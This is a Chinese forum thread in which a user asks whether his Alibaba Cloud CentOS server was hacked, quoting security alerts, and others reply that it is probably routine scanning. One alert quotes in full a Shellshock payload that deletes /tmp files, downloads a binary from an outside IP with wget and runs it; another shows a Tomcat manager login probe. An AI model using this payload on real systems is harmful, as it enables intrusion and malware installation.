这种情况是不是表示我的服务器被入侵了。

[binghe]

服务器是阿里云的ECS，系统是centos 6.5 x64，阿里云盾检测到一次“代码 /命令执行”类型的攻击，攻击特征如下：
我的 IP/ Match1:{ :; }; /bin/bash -c .rm -rf /tmp/*;echo wget http://222.174.5.7:1552/hhu -o /tmp/china.z-mvrw. >> /tmp/run.sh;echo echo by china.z >> /tmp/run.sh;echo chmod 777 /tmp/china.z-mvrw. >> /tmp/run.sh;echo /tmp/china.z-mvrw. >> /tmp/run.sh;echo rm -rf /tmp/run.sh >> /tmp/run.sh;chmod 777 /tmp/run.sh;/tmp/run.sh.




还有这样的：
我的 IP/manager/html Match1:/manager/html Match2:get /manager/html http/1.1..content-type: text/html..host: 我的 ip..accept: text/html, */*..user-agent: mozilla/3.0 (compatible; indy library)..authorization: basic og==


请问这样的情况下，我改怎么检查我的服务器，实在不知道要怎么处理了。
/tmp 目录下 200 多个这种类型的文件。

[immjun]

云盾有个系统巡检功能吧 再不行可以提工单

[lhbc]

尝试入侵而已
80 端口不要开 IP 访问

[wblinux]

云盾的那些应该只是有人尝试入侵，/tmp 目录下那些是你的 php 写的 session 文件。

[mrhuiyu]

云盾天天在报警= =

[Bardon]

云盾已经在恐吓你升级你的云盾了。

[ck65]

阿里没事就从公网扫我的阿里云主机。事逼，丧病。

[ragnaroks]

建议屏蔽 47.89.*/121.40.*

[mdzz]

给他返回 404 Bash Not Found

[akira]

是云盾在扫描而已